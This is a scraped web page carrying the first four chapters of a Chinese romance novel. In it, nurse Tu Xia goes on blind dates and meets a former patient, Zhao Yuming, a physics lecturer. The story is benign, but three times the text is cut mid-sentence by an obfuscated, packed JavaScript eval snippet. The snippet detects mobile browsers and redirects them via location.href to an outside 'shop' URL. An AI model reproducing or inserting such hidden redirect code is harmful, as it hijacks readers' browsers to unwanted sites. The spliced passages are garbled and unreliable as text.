《相亲遇到前患者后》 1. 第 1 章 涂夏在咖啡厅里坐了半小时,依旧没等到相亲对象的到来,她不清楚对方是迟到还是临时变卦放了鸽子,所以也不好先离开。 周围顾客换了好几波,涂夏也追完了昨天没看完的科幻电影,耐心被对方一点点的消磨干净后,她决定打电话质问对方为什么失约。 电话铃声响过几遍,依旧无人接听,涂夏彻底恼了,她喊来服务员结账,然后抬起脚就要出门,谁成想下一刻竟有人推门进来。 那人穿了件不太合身的黑色西装,腋窝里夹了个皮质钱包,看起来是什么有点子钱就到处显摆的暴发户。 他抬眼扫视着咖啡厅的所有顾客,最后把目光定在涂夏身上,思考两秒后大踏步地走上前,问:“你是涂夏?” 涂夏恨不得翻个白眼给他,但想着公共场合他不嫌丢人自己还嫌丢人呢,就把心中的怒火给强压了下去。她安慰自己就当是碰见了难缠的患者家属,忍一时风平浪静,退一步海阔天空。 “我是。” 涂夏面无表情地点头,也不打算跟他再往下细聊,她干呵呵地笑了两声,语气有些阴阳怪气:“您工作挺忙啊?收入一定很高吧。” 对方笑了笑,往椅子上一坐,说:“也就那样,这几年行情不太好,赚的没以前多,但总归是做老板的,肯定比你们这些小职工收入高。” 涂夏想着来都来了,不能白遭这罪,她倒要看看这男人能憋出什么好屁来。 她重新坐下,喊来服务员,给自己点了杯燕麦抹茶拿铁,又特别交代了要打包带走。 对方听见那句“打包带走”,脸色瞬间变得有些难看,不悦地说:“点了喝就是,打包干什么?” 涂夏抬起眼皮看了他一眼,说:“我来的早,刚喝了一杯,现在喝不下去了。” 她不开口还好,一开口对方那脸拉的比驴还长。涂夏哼笑一声,看来在他眼里,自己就是喜欢花别人钱的白嫖怪,是贪慕虚荣的拜金女。 涂夏斜靠在椅背上,左手撑着身体,右手搭在桌子上,指尖轻轻敲击着桌面,她从容不迫地说:“您放心,我涂夏不喜欢占小便宜,但也不喜欢让别人占我的便宜,所以AA,各付各的。” 对方立刻变了脸色,笑着说:“我不是这意思,就是觉得你点了不喝,浪费,再说了你不是刚刚喝了一杯嘛,这杯可以不点的,过日子还是要精打细算,能省则省的。” 涂夏被对方翻脸的速度逗笑了,此时服务员也把做好的咖啡送了过来,她顺便结了账。 对方端起杯子喝了口咖啡,开始说自己的择偶标准:“我就想找个顾家的,有责任感的,最好能同意和父母住一起的。我就觉得你挺符合的,毕竟是护士嘛,在医院上班,家里人要是生病住院,也方便,平常照顾病号也有耐心,肯定能和长辈做到和睦相处,这样我在外面挣钱也没那么多牵挂。” 涂夏笑了笑,心中有了应对办法,她说:“行啊,你说的这些我都能接受。但我有一个条件,不知道您能不能接受。” 对方听到前半句话时眼睛蹭的亮了,听到后半句话却尴尬地笑了笑:“你说。” 涂夏说:“婚后我得跟我爸妈住一起,当然这不是让你入赘,是我爸妈陪着我一起到你家。” 对方毫不犹豫地摇头:“这不行,哪有结婚了爸妈也跟着的。” 涂夏依旧笑着:“那为什么你可以婚后和爸妈住一起,我却不行。” 对方瞪着双眼,语气急躁:“我是男人!” 涂夏上下打量对方一眼,原谅她眼拙,实在看不出眼前的这个人哪点像男人。 迟到,虚荣,吝啬,推卸责任,随便一条都是她没办法接受的。 涂夏站起身,说:“那不好意思了。” 她拎着打包袋出了咖啡厅,打车回家。 涂夏今年27岁,谈过几场恋爱,但都以分手结束。她工作忙,对感情的事儿不急,但架不住身边的同龄人一个个的都结婚生子了,自家老母亲看着别人儿孙绕膝,眼馋的不得了,所以隔三差五的就给她安排一场相亲。 刚才那位,算是她众多相亲对象里,脑子格外不正常的,也算是另类脱俗了。 涂夏回到家,把打包袋放到置物柜上弯腰换鞋,涂妈听到了门口的动静,从客厅出来,问:“又没戏啊?” 涂夏烦躁地“嗯”了一声:“何止没戏,您说我大姨给我介绍的都什么人啊,太抠搜了,我点杯咖啡说了句打包带走,人那脸拉的,跟老家村口推磨的驴一样。再说了我又没让他付钱,自己掏钱多点一杯还要被说浪费,真够无语的。” 涂妈看了眼置物柜上的打包袋,一把拎了过来,看见是自己爱喝的,直接拿出来插上吸管开喝,她点了点头表示赞同:“的确抠门儿,一杯咖啡钱还要算计,这男的就不适合谈恋爱结婚,守着自己那点钱一个人过日子多好,省得操心别人惦记他的钱。” “您跟我大姨说说,这种货色就别给我介绍了,平常上班遇到的二傻子够多了,下了班还介绍这样的相亲对象给我,这不纯添堵嘛。”涂夏抬手把包包挂在墙上,抬起脚往客厅走,她懈了力躺在沙发上,两条腿搭着靠枕,满脸的疲惫不堪。 涂妈跟上来,坐在她旁边,淡定地说:“这一个不行,咱还有下一个。” 涂夏瞬间警觉起来,她蹭的坐起来,说:“可别了,让我缓两天吧。” 涂妈笑了笑:“这次不是你大姨介绍的,是你三舅妈,她说了,人长的标致,个还高有一米八多,在大学里当老师,父亲是医生,母亲也是老师,这家庭养出来的孩子,差不了。” 涂夏问:“有照片吗?” 涂妈咂了咂嘴,为难地说:“还真没有。” 涂夏又重新倒在沙发上,林女士凑上来:“周末,你去见见,人家庭条件不错,不合适就再说嘛。” “不去。”涂夏回答得坚决。 涂妈不死心地追问:“怎样才去?” 涂夏想了想说:“见完这个,您给我三个月休息时间,这三个月一个相亲对象都别介绍给我。” 涂妈有些犹豫,但转念一想,万一俩人成了呢,就立刻答应了:“这可是你说的。” “我说的。”涂夏点头。 涂妈又说了些对方的基本信息:“人叫个赵聿明,今年31,博士毕业,学历高,你俩要真成了,下一代教育问题哪还用发愁。” 涂夏抬手把咖啡吸管塞到涂妈嘴里,说:“您多喝点。” “我说的可都是真理。”涂妈扯开她的手,把咖啡放下:“妈是过来人,这都是经验之谈啊。” “我信。”涂夏没招儿,敷衍了一句,起身往卧室走。 另一边,赵聿明驱车前往父母家吃饭,他工作以后就搬出来自己住了,只偶尔回家一趟和父母见见。 赵父是三院心内科的科室主任,赵母是市重点高中的年级主任,可谓是一个比一个忙。 赵聿明到家时,赵母正在厨房里忙活,赵父则坐在沙发上看报纸,他把给二位长辈买的礼物放下,脱掉外套进了厨房。 赵母把他推了出来,说:“你陪你爸说话去,厨房里的活儿用不到你。” “我爸看报纸呢。”赵聿明说。 赵母看了眼客厅,又继续推他:“你过去他就不看了。” 赵聿明没办法,只得来到客厅,他坐在沙发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781354|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,不知道说些什么来打破这种微妙的氛围。 墙上的摆钟开始报时,赵父放下报纸,将目光放在赵聿明身上,良久过后,缓缓开口:“我一位同事给你介绍了个相亲对象,那姑娘在二院骨科工作,你前一阵住院应该见过。” 赵聿明皱了皱眉,问:“她叫什么?” 赵父没回答,翻出手机相册,找出照片给他看:“就是这姑娘,你做手术那天我见过,工作认真负责,对患者也很有耐心,我觉得你可以见见。” 赵聿明看了眼照片,当即认出来了,那姑娘是他住院时的责任护士涂夏。有一说一,涂夏工作方面的确认真负责,可就是在与人相处上没个正形,话多,跟谁都能唠两句。 三个月前,赵聿明意外摔断了腿,为避嫌他没去赵父所任职的市医院,而是绕远路去了二院。 住院当天就发生了件趣事,那天中午是涂夏值班,她正跟实习生聊爱情观呢,赵聿明出现了。 涂夏慷慨激昂地说着自己的择偶标准,赵聿明站在她身后,冷不丁地说了句:“按照你这标准,恐怕要单身一辈子。” 涂夏正说到兴头上,也不管是谁回的话,直截了当地说:“单身一辈子怎么了?难不成还让我凑合着找个人嫁了,然后三年生俩,五年抱仨?熬一辈子当黄脸婆?” 赵聿明笑了一声,涂夏听出了不对劲儿,瞬间回过头,眼里有些惊恐,她觉得当老师的都爱较真儿,今天跟你和和气气的聊病情,明天就可能去护理部投诉你,说你工作态度敷衍,对病人不负责。 她定了定神,问:“您有事儿吗?” 赵聿明盯着她看了几秒,露出一个意味深长的笑容,说:“上班时间最好不要和同事闲聊天。” “好。”涂夏点点头。 她只觉得自己身后冒了阵凉风,顺着她的领子口,直直地钻进了衣服里。涂夏原本还在抱怨医院的制冷系统不太给力,这下好了,她都想调成制暖给自己升升温。 赵聿明脑海里浮现出涂夏端着治疗盘,穿梭于各个病房的场景。她脸上扬着笑,说着不着边际的话,哄的其他人都跟着笑。 父子俩的谈话被厨房里的赵母听见了,她解下围裙走到客厅,问:“是上次在电梯里碰见的那个姑娘吗?” 赵父点了点头:“就是那姑娘。” 赵母听见这话皱了皱眉,她摇头说:“那姑娘不成,说话做事风风火火的,交个朋友还行,但交女朋友还是算了。” 赵父不赞成她的话,无论是交友还是恋爱都讲究个互补,他儿子是个闷葫芦,再找个闷葫芦对象,俩哑巴大眼瞪小眼,这日子该多无趣。 他冲妻子摆摆手,说:“家里其他事可以听你的,但这件事不行,我觉得这姑娘挺好,正好把聿明不爱说话的毛病治治。” 赵母态度坚决:“不行,这姑娘心性不稳,说话没个把门的,满嘴跑火车,这要嫁进来不把家里搞得乌烟瘴气的,再说了,我瞧这姑娘的样子也不是什么顾家的,难不成结了婚所有事都让聿明操心,她当个甩手掌柜的?” 赵父被她这话弄得心烦,抬手摘下眼镜,替涂夏抱不平:“姑娘是学医的,每天面对那么多患者还有患者家属,说话一直都是和和气气的,你见她跟谁红过脸?” “我才见她几次?哪能猜到她是什么人。” 赵母不想再聊这个,挥了挥手,说:“你就记住人心隔肚皮,有些人有两副面孔,人前一个样儿,人后一个样儿。” 在赵聿明的记忆里,自己的父母一直以来都是相敬如宾,很少发生争执,更不会出现这种僵持不下的场面。 赵父侧头对赵聿明说:“周末去见见。” 2. 第 2 章 涂夏不喜欢加相亲对象的微信,所以只跟三舅妈要了赵聿明的手机号,二人在电话里约定好见面的时间和地点。 周末出门前,闺蜜孟宛云发来消息:【你今日宜相亲。】 涂夏回她:【我今日诸事皆宜。】 孟宛云:【姐起了个大早,拿塔罗牌帮你算的,你竟然如此不识好歹。】 涂夏发了个国际友好手势表情包。 孟宛云:【祝你遇见正常人。】 涂夏:【谢谢你的祝福。】 涂夏对这次的相亲没太大兴致,能答应见面也只是为了如亲妈的愿,她甚至故意迟到十分钟,好让对方因此产生不满。 她推门进餐厅,服务员迎了上来,问:“您好,请问几位。” 涂夏说:“不好意思,我约了人。” 她按照相亲对象给的桌号往里走,错略地扫了一眼店内,最后把目光停在靠窗位置。 男人穿了件普通的黑色短袖,短发凌厉干净,肩膀宽阔,手臂肌肉线条流畅,看起来像是有健身的习惯,他低着头,看不清神色。 涂夏走上前,轻轻叩击桌面:“你好,请问是赵聿明先生吗?” 她的声音干净澄澈,很有辨识度。赵聿明抬头看了眼涂夏,随即站起身,说:“你好,我是赵聿明。” “你好,我是涂夏。” “坐吧。”赵聿明点点头。 涂夏在坐下的一瞬间里,眼睛瞥见了对方早已喝空的水杯,她十分抱歉地说:“不好意思,路上堵车来晚了。” “没事,我也刚到。”赵聿明观察着涂夏的反应,确定她是没认出自己。 赵聿明把菜单递给涂夏,说:“我还没有点菜,你按照自己口味点吧。” 涂夏没有和他推辞,伸手接过菜单,开口询问对方:“你有什么忌口吗?” “没有。” 涂夏点点头:“那我选两道招牌菜。” 点完菜,涂夏又问他:“你喝什么?” 赵聿明说:“都可以。” 涂夏勾选了两杯青苹果汁,她把菜单递给了服务员,回过头对赵聿明说:“结账的时候我们AA。” 赵聿明以为涂夏是对自己有什么不满意的地方,礼貌性地和他吃完这顿饭,以后就不再联系,他轻声说:“这顿饭我请。” 涂夏连忙摆手拒绝,她笑着说明原因:“我们第一次见面,还是AA合适,如果有机会见第二次的话,那就你请客。” 她不清楚自己会遇到什么样的相亲对象,万一吃完这顿饭,两个人互相没看上眼,对方觉得请客亏钱了,为了所谓的脸面不好意思直说,而是选择在背地里诋毁她,所以还是算清楚比较好,省得给自己添麻烦。 赵聿明轻声笑了笑,表示理解,他问:“我的基本情况介绍人有没有跟你说?” “说了。”涂夏点头,问:“那我的基本情况你知道吗?” “知道。”赵聿明看向涂夏,犹豫一番,决定把身份挑明:“还有一部分,应该是介绍人没有跟你讲的。” 涂夏疑惑的问:“什么?” 赵聿明给她倒了杯温水,认真地说:“三个月前,我曾在二院骨科做过手术,当时我的责任护士是你。” “啊?”涂夏有些震惊,她迅速在脑海里回忆着三个月前的住院患者有哪些。 突然,她锁定了一个人。 涂夏不可置信地看向他:“是你啊?” 赵聿明轻声笑了笑,问:“想起来了?” “嗯。”涂夏点头,能想不起来吗?就是他在出院满意度上说自己认真负责,亲近随和,老是喜欢去病房找他聊天。为此,她被护士长当作典型好一顿批评。 赵聿明看她拧着张脸,心里像是憋着什么话要说,他问:“你想说什么?” 涂夏定了定神,上下打量着赵聿明,随后冲着他干呵呵地笑了两声:“所以,你早就知道自己的相亲对象是我?” “嗯。”赵聿明没有隐瞒。 “那你还答应见面?”涂夏不理解,这男人不怕自己因为满意度的事故意给他难堪吗? 赵聿明问:“我为什么不能答应见面?” 涂夏也不绕弯子,直接说:“因为在你住院期间,我们之间发生了很多不愉快。” 赵聿明点明重点:“是医患矛盾吗?” 涂夏愣了一下,那倒也不是事,好像是自己被男色诱惑,凭借着职业便利,经常性地出现在他面前,并对他实施语言调侃。 “这是我的个人行为,与医院无关。” “嗯。”赵聿明笑着点头:“所以我们之间的矛盾,是需要在私下解决的。” 涂夏正不知道怎么回他这句话呢,服务员推着餐车出现了,她仿佛见到了救星,连忙对赵聿明说:“先吃饭,吃完饭再算账。” “好。”赵聿明无奈地笑了笑,她的小心思太明显了,一点都藏不住。 服务员把菜上齐,涂夏看了眼赵聿明。 赵聿明说:“吃吧。” “那我不跟你客气了。”涂夏说完这句话越想越不对劲儿,自己花钱为什么要看他的脸色,想吃就吃啊,反正AA。 她拿起筷子夹了颗蟹黄虾仁,仔细品尝后觉得这道菜不错,可以让自家老爹学一下。 涂夏小时候是个贪吃鬼,就没有她不爱吃的,涂爸问她长大了要干什么,涂夏说开个餐馆每天吃好吃的,涂爸笑了,说不用长大现在就能开。于是,涂爸辞掉工作,找人拜师学艺,隔年家里就开了个餐馆。 涂爸掌勺,涂妈收钱,招了几个服务员揽客和传菜,生意一天比一天好。 涂夏吃饱喝足放下筷子,开始反思自己平常的不着边际,她问:“你今天来是找我算账的吗?” 赵聿明抽了张纸巾递给涂夏,示意她嘴角沾了东西。涂夏尴尬地接过纸巾:“谢谢。” “我不是来找你算账的。”赵聿明看着她,表情认真:“我是来相亲的。” 涂夏轻声笑了笑,说:“相亲啊。” 赵聿明问:“所以,你今天对我满意吗?” 涂夏点点头:“满意啊,你各方面条件都不错,但我可能觉得自己不符合你的要求。” 赵聿明没忍住笑了一下:“我的要求?” 涂夏抬起眼皮,强壮镇定地看他。 “我的要求有两条。” “你说。” “一,活的,二,女的。” 赵聿明和她对视,严肃认真地问:“这两条,你认为自己哪条不符合?” 涂夏后悔了,她后悔今日出门相亲。 “你要求还真低。”涂夏尴尬地笑着。 赵聿明笑了一下,开口跟她分析着其中道理:“相亲市场上,男性占大多数,如果择偶要求太过挑剔,容易找不到对象。” “但你这也太不挑剔了。”涂夏实在不知道说什么了,看这样子,像是专门找她算账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781355|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 她问:“你不会是第一次相亲吧?” 赵聿明:“嗯。第一次。” 涂夏笑了:“那我还真是幸运。” “幸运?”赵聿明不解。 “因为你第一次相亲的对象是我。”涂夏说完这句话观察着赵聿明的反应,只见他笑而不语,涂夏莫名觉得有些渗人。 赵聿明问:“你吃饱了吗?” “饱了。”涂夏点头。 “那我去结账。” “AA。” 涂夏起身跟着赵聿明往收银台走,很显然,这次相亲又以失败告终。 收银员把账单算好,问:“您二位谁结账?” 赵聿明抢先一步,说:“我来。” 涂夏没跟他争,付过账,她接过收银员递来的小票,看了眼最后的消费金额,说:“我把钱扫给你。” 连餐厅门都没出,涂夏就急着扫他钱,看来是真的不满意,连加好友的机会都不想给。 赵聿明脸色一沉,微微蹙起眉,他说:“出去再说。” 涂夏点点头,说:“好。”她把手机收了起来,跟着赵聿明出了门。 二人站在人行道旁的银杏树下,彼时正值中午,阳光滚烫刺眼,涂夏抬手遮了一下。 赵聿明注意到了这一幕,于是侧过身挡住阳光,他犹豫再三,还是说出了心中的疑问:“我的表现是不是没有达到你心中的预期?” 涂夏不解:“你为什么会这么想?” 赵聿明低头看着她,没有作出回答。 “你是说账单?”涂夏恍然大悟:“我提出AA是因为这是我们的第一次见面,刚才在餐厅已经解释过了。立刻还钱是我的习惯,因为我不喜欢欠债的感觉,所以我没有对你不满意,你很好,简直无可挑剔,除了……” 她笑了笑,仰头看向赵聿明的眼睛。 二人对视着,赵聿明问:“除了什么?” 涂夏回:“除了有点小心眼儿” 她不过就说了句“长得帅,身材好”,就被赵聿明当成了色胆包心的女流氓,简直不要太冤枉。她只是有双发现美的眼睛,还有张赞扬美的嘴巴,夸几句,撩几下,何错之有? 赵聿明没忍住笑了一下,他右侧脸颊有个不太明显的小梨涡,只有笑的时候才能看见。 他轻声说:“你也是啊。” 涂夏立刻反驳:“你以为我是你呢?我很大度的好不好,你出院第二天,护士长就严厉的批评了我,说我给患者产生了严重的困扰,让我去打电话道歉。” 赵聿明抓住了重点,他问:“可我没接到你的道歉电话。” 能接到就怪了,这电话她压根就没打,谁上赶着给自己找难堪啊? 涂夏笑了笑,连忙找补着:“工作太忙给忘了,你要现在还需要道歉,我可以立刻九十度鞠躬和你说对不起。” “不用了。”赵聿明认真地说:“以后会改。” 现在是六月,室外温度很高,不过几句话的时间,涂夏的脸上已经冒了层薄汗,她此刻特别想坐在空调房里吃西瓜。 涂夏说:“那我们加个好友吧。” “好。”赵聿明点点头,把手机拿出来,打开聊天软件,说:“我扫你。” “可以。” 二人加过好友,涂夏说:“今天就先聊到这里吧,我明天要上班,所以想回家休息。” 赵聿明“嗯”了一声,说:“我送你。” 3. 第 3 章 赵聿明开车很稳,不急不躁。涂夏被冷气包围着,阳光透过玻璃窗照射进车内,她觉得自己的眼皮越来越沉。 “困了?”赵聿明透过后视镜看她,眼睛都快睁不开了,还强撑着呢。 涂夏点点头:“有点儿。” 赵聿明看了眼导航,系统显示还要再开半个小时才到达目的地,他放慢车速,轻声说:“闭上眼睛睡会儿,到了我喊你。” 涂夏认真打量着赵聿明,眉骨硬朗,鼻梁高挺,宽肩窄腰,手臂肌肉紧实有力。如果他单手撩起衣服,露出胸肌,必能令人血脉贲张。 她半开着玩笑:“我爸妈知道我今天出门是来相亲的,如果我失踪,先调查的一定是你。” “危机意识很强,值得表扬。” “谢谢。”涂夏掏出手机,问:“要听歌吗?” 赵聿明点头:“好。” 涂夏打开音乐软件,选了随机播放,她平常不怎么听歌,也没有特别喜欢的类型,所以系统推送的都是网络上正流行的,她调大音量,把手机放在中间。 歌声缓缓响起,涂夏侧着头问他:“你在大学里教的什么?” 赵聿明怔了一下,说:“物理。” 涂夏皱着眉头没说话,如果所有的物理老师都长这么帅,她就不至于在高中第一次物理测验中喜提八分试卷了。 正好遇上红灯,赵聿明扭头看向她,轻声问:“你在想什么?” 涂夏摇了摇头:“没什么。” 赵聿明问:“是不是觉得物理很无趣?” “嗯。”涂夏笑得蔫坏儿:“人不无趣。” 凡是见过赵聿明本人的,对他的评价只有严肃正经和不苟言笑。他性格沉闷,不爱讲话,也没有什么兴趣爱好,永远都在三点一线,物理可谓是他生活的全部。 每个人生阶段应该做什么,每个分叉路口应该选择什么,父母都早已替他做好了规划,而他只需要按照这条平坦大道往前走。 好处是学业、工作一帆风顺;坏处是生活平淡,毫无波澜,像一潭死水。 所以这句“人不无趣”,是他听过最特别的评价。赵聿明被逗笑了,他说:“很高的评价。” 半小时后,赵聿明稳稳地将车停下,涂夏解开安全带,推门下车,临关门前,她探着脑袋往驾驶位看:“今天谢谢你送我回来。” 赵聿明对上她满含笑意的眼睛,微微弯唇,说:“这是我应该做的。” 室外很热,涂夏没有过多停留,道过谢说完再见就关上车门,转身往小区里走。 这是千禧年左右的老小区,留在这里的多是上了年纪的人,儿子姑娘在外买了新房子,自己守着老房子,每天无事可做就往小区门口的凉亭里一坐,老头儿下象棋,老太太聊闲话。 邻居张奶奶拿着个蒲扇,步伐矫健,她拦住涂夏的路,好奇地问:“干嘛去了这是?” 涂夏笑笑:“还能去干嘛,相亲呗。” “呦。”张奶奶有些惊讶,她仰起脖子顺着赵聿明离开的方向看了一眼,小声问:“人咋样啊?能合得来不?” 涂夏点了点头:“还行。” 张奶奶笑了笑:“还行就是有戏。” 涂夏揽着张奶奶的肩膀,蹭她蒲扇的风:“您接着跟这群奶奶阿姨们唠嗑吧,我得回家个午觉,眼皮都快睁不开了,人让我眯会儿,说到家喊我,我心想这哪成啊,万一是人贩子把我拐走给卖了,我爸妈不得急死。” “心眼儿还挺多。”张奶奶从口袋里掏出俩核桃给她:“奖励。” “我脑子够用。”涂夏看着那俩核桃,心想这老太太怎么这么损呢,她扯着张奶奶的上衣口袋,硬是给还了回去:“您留着自己吃吧。” 涂夏说完笑了笑,摆着手往小区里走。 张奶奶回到凉亭里,有人问:“这谁家姑娘啊?长的这么标致。” “福溪路涂记餐馆家的姑娘。” “做啥工作的?” “在医院当护士。” “结婚没?” “没呢,这不今天是腾出空回家相亲呢。” 涂夏嫌家里离医院太远,上下班折腾,她就在医院附近租了间单身公寓,平常绝大部分时间都住在那里,只有休班时会回家住。 她到家时,涂妈刚睡醒,见涂夏今天是笑着回来的,估摸着是相亲有戏。 涂妈问:“人见了没?咋样啊?喜欢不?” “见了,还行,喜欢谈不上,但觉得可以接着往下聊。”涂夏说完,涂妈开心地笑了,但她又毫不留情地泼了盆冷水:“人家不一定能看上我,人是大学老师,还是教授级别的,我就一普普通通小护士,身份差距太大了。” 涂妈啧了一声,嫌弃地说:“人又不是什么皇族太子,等着继承爹妈家业,能答应和你见面就说明他不在乎这些,你别东想西想的。” 涂夏叹了口气:“但愿吧。” 她抬脚往卫生间走,涂妈跟上去:“和人加联系方式了吗?” “加了。”涂夏转过身,一手搭在门框上,一手搭在门把手上,说:“妈,别忘了啊,三个月。” “记着呢,三个月。”涂妈朝她翻了个白眼,有些恨铁不成钢。卫生间的门关上,涂妈叉着腰,冲着里面喊:“既然加上了联系方式就好好和对方聊,语气别那么冲,人家说的你要是听不懂,就虚心请教,当老师的都有耐心,问不可耻,可耻的是不懂装懂。” 涂夏无奈:“知道啦。” 她洗完手从卫生间出来,看了眼墙上的挂钟,说:“我睡儿午觉,晚上吃了饭就走。” “住家里呗,明天让你爸送你。” “不了。”涂夏摇摇头:“太折腾了。” 涂夏困得要命,她换了件睡衣躺床上,不一会儿就睡着了。 傍晚,涂夏睡醒,拿起手机看了眼新消息,是赵聿明发来的:【我到家了。】 涂夏看了眼时间,是三个小时前,她担心赵聿明误会,立刻打字回道:【不好意思,我刚睡醒。】 赵聿明秒回:【没事,睡得好吗?】 涂夏:【嗯。】 涂夏:【你觉得我们合适吗?】 赵聿明在看到这条消息时愣了一下,他有些惊讶:【合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781356|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适什么?结婚吗?】 涂夏连回了个好几个问号。 涂夏:【结婚会不会太快了。更何况我们刚认识没多久,对彼此也不熟悉。】 这发展速度是涂夏没有预料到的,刚见面就谈结婚,这也太着急了吧。 赵聿明:【不好意思,我会错意了。】 涂夏皱了皱眉,心想他不会是觉得自己恨嫁吧。她立刻打字回复:【我觉得我们可以试着发展一下,你觉得呢?】 赵聿明:【我也觉得。】 聊天到这里结束了。 涂夏点开他微信主页看了眼,头像是物理教科书封面图,昵称是一串物理公式,朋友圈只有学校公众号的转发,再怎么看都不像年轻人。 她退出聊天框,起床换好衣服。 涂妈要出门,正坐在换鞋凳上穿鞋,见她从卧室出来,问:“你要走吗?” “我去餐馆蹭个饭。”涂夏说完看了眼整装待发的涂妈,咂了咂嘴:“老板娘这是干嘛去?又约着打麻将啊?” 涂妈哼了一声:“关你什么事儿啊,老娘乐意干嘛就干嘛。” 涂夏笑了笑:“得,您去您的,我去找我爸,老头一个人在店里多惨啊,整天抡着锅铲,吭哧吭哧的。” “你不去蹭饭,你爸也能轻松点儿。” “那不行,一码归一码。” 两个人前后脚从家里出去,涂夏觉得她爸妈性格都特别好,遇事儿从不着急,用涂爸的话说这叫车到山前必有路,着急是解决不了问题的。 人生寥寥几十年,除了生死就没大事儿。 看淡点,看开点,一辈子顺顺当当的。 晚上九点,赵聿明接到了赵母的电话。 “今天见到那姑娘了吗?” 赵聿明:“见到了。” 电话里安静几秒,赵母再次开口时语气有些严肃,她问:“你觉得对方怎么样?” 赵聿明轻声说:“我觉得她很好。” 赵母皱着眉,声音冷淡:“看人不能只看表面,妈觉得那姑娘太浮躁,不是能和你安心过日子的。所以,以后就别见面了。” 赵聿明不能理解自己的母亲为什么总是用刻板印象来评价一个人,他反驳说:“妈,您也说了看人不能只看表面,涂夏爱说话,说明她性格外向,是个活泼开朗的姑娘。总之,我对这次见面很满意,我也喜欢和她相处的感觉,如果您不喜欢她,那就是在否定我的眼光,质疑我的选择。” 话音落下,双方都沉默了,良久过后,赵母说:“聿明,结婚不是两个人的事,是两个家庭的事,如果你能接受我对你未来的妻子,永远保持着冷漠的态度,你尽管和她继续相处。” 赵母说完这句话,立刻挂断了电话。 赵聿明有些心烦,从小到大,父母说什么他做什么,循规蹈矩的活了三十几年。 可在结婚这件事上,他想自己做主。 他不想和妻子相敬如宾,每天谈论的话题只有工作和孩子,疏远的像两个陌生人;更不想像自己父母那样,一辈子没有爱情,只有亲情,每天勉勉强强的维持着婚姻。 4. 第 4 章 市二院,骨科住院部。 涂夏坐在电脑前,填写着护理记录,赶上端午节,病人大多选择出院回家,所以科室倒也少有的清闲。 同事巡视完病房,走进护士站,推着椅子在她身边坐下,小声问:“你周末又相亲去了?” “嗯。”涂夏无奈地说:“没办法啊,家里人等着抱外孙呢,医院工作这么忙,我要不相亲,上哪儿认识年轻帅哥去。” 同事笑了笑,说:“相亲又不丢人。” 涂夏放下鼠标,靠在椅背上,用力拉伸着胳膊,仰天发出长叹一声:“这工作真的影响我的桃花运。” 高考毕业时填报志愿,亲戚说护理就业率高,好找工作,然后涂夏听从对方建议,成了一名悲催医学生。 毕业后,她过五关斩六将,好不容易才收到了医院的录取通知,在经历了漫长的轮转期以后,正式的留在了骨科工作。 每天会遇到各种各样的人,她还要永远有耐心,永远保持着一百分的专业素养去工作。 甚至她要去和某些患者以及患者家属强调自己是护士,不是护工。 真就是一入护理深似海。 同事翻着排班表,问她:“你要不要找护士长申请几天休假,好好的和相亲对象联络一下感情?” 涂夏摇了摇头:“我想过年的时候休,好几年没回老家了,想回去玩两天。” “那不行。”同事合上排班表,放回原位,她笑着对涂夏说:“你得陪我在医院跨年。” 涂夏满脸的抗拒:“我才不要,你自己爱岗敬业,可别拉着我。” 同事笑了笑,说:“还有大半年呢,急什么?咱俩端午都没休,还指望着过年休?” “呸呸呸。”涂夏摸了摸桌子,拉着对方的胳膊,说:“乌鸦嘴,快点摸木头。” 同事摸完木头,看了眼电脑屏幕右下角的时间,她说:“我去休息室喝点水,有事喊我。” 涂夏点头:“嗯。” 下午六点五十分,值夜班的同事到了,涂夏跟在护士长后面,转了圈病房。 交过班,涂夏去治疗室洗了手,跟同事打了声招呼就往更衣室走,她抬手摘掉护士帽,顺着耳朵捋了下头发。 涂夏走进更衣室,回身拉上遮挡帘,抬手解着护士服扣子,她换好衣服,摘掉头花,拿出酒精湿巾擦了擦手机, 就在她收拾妥当,要拎包离开时,微信忽然弹出一条新消息—— 赵聿明:【要出来见见吗?】 涂夏打开和他的聊天框,回:【我刚下班,如果你方便的话,那就一起吃个饭吧。】 赵聿明也是刚下班:【你在医院吗?】 涂夏:【嗯。】 赵聿明:【我去接你。】 涂夏有些为难,同事刚好从经过,问她怎么还不去等电梯,再过一会儿就走不掉了。 她边走边打字:【我进电梯了,没信号,待会儿回你。】 涂夏把手机收起来,快步往电梯间走,庆幸的是,骨科所在的楼层较高,基本不会出现开了电梯门发现是满员的情况。 大约等了五分钟,电梯门开了,涂夏走进去,安静地等着电梯下行。 由于是使用高峰期,电梯会在每层都停留,耽搁的时间有些久。 涂夏走到住院部大厅,给赵聿明回了个电话,铃声刚响起,他就接了:“出电梯了?” 